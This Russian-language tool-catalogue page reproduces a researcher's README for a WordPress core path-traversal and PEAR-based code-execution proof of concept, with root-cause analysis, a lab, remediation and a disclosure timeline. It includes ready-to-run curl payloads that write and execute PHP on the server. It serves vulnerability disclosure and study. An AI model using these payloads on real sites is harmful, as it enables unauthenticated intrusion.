Skip to content
KitploitKITPLOIT
ИнструментыЭксплойтыБлог
Отправить
ИнструментыЭксплойтыБлог
Отправить

Инструменты для хакинга, пентеста и кибербезопасности — ваш арсенал защиты!

Kitploit — это каталог инструментов для хакинга, кибербезопасности и пентестинга. Находите последние обновления проектов для поиска уязвимостей, анализа систем, автоматизации тестирования и усиления вашей безопасности.

··Ленты·Контакты·Конфиденциальность·© 2026 Kitploit

Каталог инструментов

Категории

Все категории
Loading categories
cve-2026-87902-poc — PoC для CVE-2026-87902 — неаутентифицированный обход пути в разрешении шаблонов страниц WordPress (локальное включение PHP, условное RCE) с закреплённой уязвимой лабораторией | Kitploit
Инструменты/GitHubGitHub/ressl/cve-2026-87902-poc
Анализ уязвимостейЭксплуатацияЭксплуатация веб-приложенийВиртуализация для безопасностиВеб-безопасностьТестирование на ПроникновениеЛаборатории и Практика
GitHubressl/cve-2026-87902-poc

cve-2026-87902-poc

PoC для CVE-2026-87902 — неаутентифицированный обход пути в разрешении шаблонов страниц WordPress (локальное включение PHP, условное RCE) с закреплённой уязвимой лабораторией

Репозиторий
3141 день назадЕщё не проверено
Сайт

Популярное

Смотреть все →

Откройте для себя самые используемые инструменты нашего сообщества.

Изучить все инструменты

Просмотрите нашу коллекцию инструментов

Смотреть все инструменты →
Поделиться

CVE-2026-87902 — WordPress Core: неаутентифицированный обход пути при разрешении шаблона страницы

Неаутентифицированное локальное включение PHP-файла в WordPress Core через дважды закодированное значение pagename — и, при определённых условиях развёртывания, выполнение PHP-кода с привилегиями учётной записи веб-сервера.

CVECVE-2026-87902
Уведомление вендораGHSA-7hp8-65ch-5whp
РазборCVE-2026-87902: Critical WordPress file inclusion and conditional RCE
ЗатронутоWordPress Core 4.7.0 – 7.1.1 (все ветки, согласно диапазонам по веткам в уведомлении); динамически воспроизведено на 7.0.2
Исправлено7.1.2 (ветка 7.1), 7.0.6 (ветка 7.0) и бэкпорт для каждой ветки вплоть до 4.7.37 (согласно уведомлению)
СлабостиCWE-98 (ненадлежащий контроль имени файла при include), CWE-22 / CWE-23 (обход пути)
CVSS v3.1CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:H — 8.1 High
CVSS v4.0 (дополнительно)CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N — 9.2 Critical
Аутентификацияотсутствует — без учётной записи, cookie, nonce, сессии, плагина или исходящего запроса
Взаимодействие с пользователемотсутствует
АвторRobert Ressl — ressl.ch
PoC проверен2026-09-22 на лабораторном стенде в этом репозитории — см. Проверенные результаты

Краткое описание

WordPress разрешает шаблон страницы через цепочку, которая нигде не доказывает, что выбранный файл остаётся внутри корня темы:

  1. pagename и page_id — публичные переменные запроса, которые WP::parse_request() принимает из анонимного тела POST.
  2. Дважды закодированный обход пути в pagename переживает раннюю санитизацию запроса как экранированные октеты %xx (wp_basename() не видит %2f как разделитель, а sanitize_title_with_dashes() намеренно сохраняет корректные октеты).
  3. Затем корректный page_id выбирает реальную опубликованную страницу, тогда как вредоносный pagename остаётся в объекте запроса.
  4. Позже get_page_template() вызывает urldecode() для этого значения и добавляет кандидата, такого как page-templates/../../../../../../../usr/local/lib/php/pearcmd.php, в иерархию шаблонов.
  5. locate_template() и финальный загрузчик шаблона проверяют только существование, читаемость и суффикс .php/.html — но никогда то, что канонический путь по-прежнему находится внутри разрешённого корня темы — и затем выполняет include.

Это неаутентифицированный примитив удалённого локального включения файла в WordPress Core. На протестированной официальной среде выполнения (wordpress:php8.3-apache, которая включает PEAR и не загружает php.ini, поэтому register_argc_argv имеет значение On), включение было сцеплено через pearcmd.php из PEAR: первый анонимный запрос заставляет config-create записать контролируемый атакующим PHP-код в /tmp, второй анонимный запрос включает этот файл и выполняет его от имени www-data.

Отсутствие ограничения пути в Core и есть уязвимость. PEAR — лишь один зависящий от окружения маршрут от включения к выполнению кода — это не зависимость WordPress, и он присутствует или пригоден не во всех развёртываниях.

Первопричина

Проверенные местоположения в исходном коде (WordPress 7.0.2):

#РасположениеРоль
1wp-includes/class-wp.php:18,322-330pagename и page_id — публичные переменные запроса, и они читаются из $_POST
2wp-includes/class-wp-query.php:2205sanitize_title_for_query( wp_basename( $query_vars['pagename'] ) ) — %2f не является разделителем для wp_basename()
3wp-includes/formatting.php:2283-2289sanitize_title_with_dashes() сохраняет корректные октеты %xx вместо их удаления
4wp-includes/template.php:492$pagename_decoded = urldecode( $pagename ); — обход пути становится активным после санитизации
5wp-includes/template.php:722-736locate_template() конкатенирует кандидата под каждым корнем темы и вызывает только file_exists()
6wp-includes/template-loader.php:116-132realpath() нормализует путь, затем include выполняется без канонической проверки нахождения внутри корня
7wp-includes/canonical.php:42-47redirect_canonical() завершается досрочно для не-GET/HEAD, поэтому POST не канонизируется и не отбрасывается

Предусловия

Автономному примитиву включения требуется:

#ПредусловиеПричина
1Опубликованная, анонимно доступная страница, выбранная числовым page_idстраница должна быть возвращена запросом после неудачи поиска по имени пути
2Отсутствие более раннего разрешаемого пользовательского шаблона страницыкорректный назначенный шаблон упорядочен перед вредоносным кандидатом
3Каталог верхнего уровня в активной (дочерней или родительской) теме, имя которого начинается с page-, например page-templates/WordPress добавляет фиксированный префикс page-, поэтому обход .. не может начаться с позиции 0; каталог должен лишь существовать и быть проходимым — он не обязан быть доступным для записи
4Выбранный локальный .php-файл, который существует и читаем пользователем PHPзагрузчик проверяет is_file()/is_readable() и требует суффикс .php
5Отсутствие ограничения файловой системы, блокирующего этот файлopen_basedir или политика MAC могут предотвратить включение

Продемонстрированному этапу с PEAR дополнительно нужны читаемый pearcmd.php (вместе с его зависимостями), register_argc_argv=On для веб-SAPI и доступный для записи выходной каталог. В производственных файлах php.ini устанавливается register_argc_argv=Off; протестированный образ не загружает php.ini, поэтому применялось скомпилированное значение по умолчанию (On). Это важное ограничение на распространённость продемонстрированной цепочки выполнения кода.

Поставляемые темы Twenty Twenty-Three/Four/Five не содержат каталога page-* верхнего уровня, поэтому стандартному лабораторному стенду нужна фикстура, описанная ниже. Пользовательские темы могут законно использовать структуру page-templates/ (документация WordPress).

В уведомлении зафиксировано, где эти условия встречаются в поставляемом ПО: условие темы выполняется для устаревших тем Twenty Twelve и Twenty Fourteen и для сторонних тем, таких как Neve, Hestia и Sydney, тогда как переход через PEAR применим к официальному Docker-образу PHP и к конфигурациям cPanel по умолчанию, работающим на PHP старше 8.5. (Twenty Twelve и Twenty Fourteen обе поставляются с каталогом page-templates/ верхнего уровня; остальные утверждения принадлежат уведомлению.) Этот репозиторий не измеряет, как часто применима полная цепочка.

Быстрый старт

root@kitploit:~
./lab/up.sh            # WordPress 7.0.2 + MySQL 8.4 + the page-* fixture, installed and ready
python3 cve-2026-87902.py   # two anonymous POSTs, prints the proof marker

cve-2026-87902.py требует Python 3.6+ (только стандартная библиотека) и по умолчанию обращается к лабораторному стенду по http://127.0.0.1:8091. Ожидаемый вывод:

root@kitploit:~
[*] target        : http://127.0.0.1:8091
[*] page id       : 2 (sample-page, default template, via /index.php?rest_route=/wp/v2/pages&per_page=100&_fields=id,slug,template)
[*] depth 7       : stage 1 HTTP 200, stage 2 HTTP 200
[+] traversal     : page-templates/../../../../../../../usr/local/lib/php/pearcmd.php
[+] payload file  : page-templates/../../../../../../../tmp/wp-pear-rce-flag.php (written by PEAR in stage 1)
[+] marker        : 'CVE-2026-87902-POC-OK' found 12 time(s) in the stage-2 response
[+] proof         : CVE-2026-87902-POC-OK
[+] EXPLOIT SUCCESSFUL - PHP executed with the web-server account's privileges

Код выхода — 0 при успехе и 1 в противном случае, поэтому PoC также работает как проверка регрессии/обнаружения.

Остановка: docker compose down -v.

Проверенные результаты

Запуск 2026-09-22 на этом лабораторном стенде (Docker 29.4, OrbStack, Apple silicon):

ПроверкаРезультат
Этап 1HTTP 200; /tmp/wp-pear-rce-flag.php записан как www-data:www-data, режим 0644, 1219 байт
SHA-256 полезной нагрузки460d359253d9933ad373ffc8a0027adc5a79d5ca542ab9b2cf9532f949682aa7 — совпадает с хешем, зафиксированным в исходном отчёте
Этап 2HTTP 200; внедрённый PHP вывел артефакт-доказательство с режимом 0444
Вхождения маркера12 (PEAR сериализует контролируемое значение корня в 12 записей конфигурации)
Использованные учётные данныеотсутствуют — ни заголовка Cookie, ни Authorization ни в одном запросе
Негативный контрольpage-templates/ удалён → этап 2 возвращает обычную страницу, маркера нет, код выхода 1

Артефакт-доказательство — это /flag, принадлежащий root и доступный для чтения всем (root:root, режим 0444) внутри контейнера. Он доказывает выполнение PHP и доступ к файлу от имени учётной записи веб-сервера; это не цель для повышения привилегий.

Как работает цепочка

Два анонимных POST. Значения маршрутизации WordPress передаются в теле формы, а аргументы PEAR — в необработанной строке запроса (PHP разбивает необработанную строку запроса по литеральному + на argv и не выполняет URL-декодирование отдельных аргументов):

root@kitploit:~
argv[0] = ""
argv[1] = "config-create"
argv[2] = "/<?=file_get_contents(chr(47).chr(102).chr(108).chr(97).chr(103))?>"   # absolute PEAR root path
argv[3] = "/tmp/wp-pear-rce-flag.php"                                              # output file

Этап 1 — включить pearcmd.php и записать полезную нагрузку:

root@kitploit:~
curl --path-as-is -sS -X POST \
  'http://127.0.0.1:8091/?+config-create+/<?=file_get_contents(chr(47).chr(102).chr(108).chr(97).chr(103))?>+/tmp/wp-pear-rce-flag.php' \
  --data-raw 'page_id=2&pagename=templates%252f%252e%252e%252f%252e%252e%252f%252e%252e%252f%252e%252e%252f%252e%252e%252f%252e%252e%252f%252e%252e%252fusr%252flocal%252flib%252fphp%252fpearcmd'

Этап 2 — включить сгенерированный файл и выполнить его PHP:

root@kitploit:~
curl --path-as-is -sS -X POST \
  'http://127.0.0.1:8091/' \
  --data-raw 'page_id=2&pagename=templates%252f%252e%252e%252f%252e%252e%252f%252e%252e%252f%252e%252e%252f%252e%252e%252f%252e%252e%252f%252e%252e%252ftmp%252fwp-pear-rce-flag'

Важные детали:

  • Два слоя кодирования. Тело декодируется PHP один раз в templates%2f%2e%2e%2f...; санитайзер сохраняет эти октеты, и только поздний urldecode() в get_page_template() превращает их в / и ...
  • Префикс page-. WordPress добавляет page- к значению, поэтому каталог-фикстура page-templates/ соответствует ведущему сегменту templates.
  • Принудительный суффикс .php. Кандидат — это page-<decoded>.php, поэтому цель указывается без суффикса (.../pearcmd, /tmp/wp-pear-rce-flag).
  • POST, а не GET. redirect_canonical() пропускает не-GET/HEAD запросы, а тело формы позволяет строке запроса нести только аргументы PEAR.
  • Полезная нагрузка без кавычек. wp_magic_quotes() также применяется к $_SERVER, поэтому построенный сервером argv экранируется, а PEAR позже нормализует обратные слэши. Проверенная полезная нагрузка использует chr() и не содержит символов кавычек. (Она сводится к <?=file_get_contents('/flag')?>.)
  • Корневой путь config-create. PEAR отклоняет относительный корень (Root directory must be an absolute path beginning with "/"), поэтому полезная нагрузка внедряется как сам корневой путь.
  • Глубина. cve-2026-87902.py перебирает сегменты .., пока обход пути не достигнет цели (7 для структуры этого лабораторного стенда, --depth для фиксации).

Лабораторный стенд

lab/up.sh выполняет три шага и безопасен для повторного запуска:

  1. docker compose up -d --build --wait — закреплённый wordpress:7.0.2-php8.3-apache плюс mysql:8.4, порт 127.0.0.1:8091 (только loopback).
  2. Запускает установщик WordPress (admin / adminadmin), если сайт ещё не установлен.
  3. Создаёт фикстуру внутри активной темы и выводит её: wp-content/themes/twentytwentyfive/page-templates/, root:root, режим 0755, пустой.

Образ лабораторного стенда явно добавляет register_argc_argv=On (lab/Dockerfile) вместо того, чтобы полагаться на скомпилированное значение по умолчанию, и встраивает /flag (root:root, режим 0444, содержимое CVE-2026-87902-POC-OK).

КомпонентЗначение
WordPress7.0.2 (wordpress:7.0.2-php8.3-apache)
PHP / SAPI8.3.33, модуль Apache
PEAR1.10.18 в /usr/local/lib/php/pearcmd.php
MySQL8.4
register_argc_argvOn
ТемаTwenty Twenty-Five + пустая фикстура page-templates/, принадлежащая root
Целевая страницаопубликованная Sample Page, ID 2, шаблон по умолчанию
Артефакт-доказательство/flag, root:root, режим 0444

Плавающий тег wordpress:php8.3-apache не пригоден для этого лабораторного стенда: ошибка исправлена в 7.1.2, и незакреплённый тег незаметно делает стенд пропатченным.

Негативные контроли и ограничения

Проверенные или задокументированные контроли:

  • Отсутствие каталога page-* верхнего уровня в теме → фиксированный префикс невозможно удалить, и обход пути никогда не начинается (проверено: фикстура удалена → маркера нет).
  • register_argc_argv=Off → нет записывающего компонента PEAR, но примитив включения остаётся.
  • Отсутствие PEAR или его зависимостей → нет записывающего компонента.
  • Неверное число сегментов .. → цель не достигнута (проверено: глубины 1-6 и 8-12 не дают маркера в лабораторном стенде).
  • Пользовательский шаблон страницы, назначенный странице → упорядочен перед вредоносным кандидатом и побеждает.
  • Файл без суффикса (например, /flag) не может быть прочитан напрямую — к кандидату добавляется .php.
  • WAF/CDN/обратный прокси, отклоняющий необработанные байты <, >, = в целевом запросе, ломает канал аргументов PEAR (зависит от развёртывания).
  • Ограничение open_basedir/MAC или недоступный для записи выходной каталог ломают цепочку; noexec на /tmp — нет (PHP читает и интерпретирует файл).

Этот PoC воспроизводит одну проверенную конфигурацию. Он не утверждает, что каждая установка WordPress эксплуатируема, и не измеряет распространённость.

Устранение

  • Обновитесь до WordPress 7.1.2 или новее (либо до бэкпорта вашей ветки).
  • Эшелонированная защита для обработки шаблонов: после декодирования отклоняйте обход пути и абсолютных кандидатов (например, validate_file()), а перед включением найденного шаблона сравнивайте realpath() кандидата и корня темы с завершающим разделителем каталога.
  • Меры для операторов: установите register_argc_argv=Off для веб-SAPI, удалите неиспользуемые доступные из веба точки входа PEAR из производственных образов, проведите аудит дочерних и родительских тем на предмет каталогов page-* верхнего уровня и ограничьте доступ на запись для учётной записи PHP.

Файлы

ПутьНазначение
cve-2026-87902.pyэксплойт: обнаружение страницы, оба этапа, обработка глубины, проверка маркера
lab/up.shприводит лабораторный стенд в точное состояние, ожидаемое эксплойтом (идемпотентно)
docker-compose.ymlWordPress 7.0.2 + MySQL 8.4, порт только на loopback
lab/Dockerfileзакрепляет уязвимый релиз, устанавливает register_argc_argv=On, встраивает /flag
lab/flagсодержимое артефакта-доказательства

Хронология раскрытия

ДатаСобытие
2026-07-20Сообщено приватно через программу WordPress HackerOne
2026-07-21Получение подтверждено
2026-09-15Сообщено, что исправление запланировано в ближайшем релизе; запрошены данные об атрибуции
2026-09-22Выпущен WordPress 7.1.2 с исправлением; опубликовано уведомление GHSA-7hp8-65ch-5whp

Отчёт был принят как действительная находка в области безопасности после пересмотра первоначальной классификации; переписка не датирует это принятие.

Отказ от ответственности

Этот репозиторий публикуется в целях защиты и исследований. Используйте его только против систем, которыми вы владеете или которые вам явно разрешено тестировать. Лабораторный стенд привязан к 127.0.0.1 и не должен быть доступен из недоверенных сетей.

Лицензия

MIT — см. LICENSE. Метаданные цитирования находятся в CITATION.cff:

Ressl, Robert (2026). CVE-2026-87902 PoC: unauthenticated path traversal in WordPress page-template resolution (v1.0.0). https://ressl.ch

Отчёт об уязвимости и этот PoC были подготовлены с использованием ИИ для проверки организации и согласованности; исследователь несёт ответственность за технические утверждения.

Скачать инструмент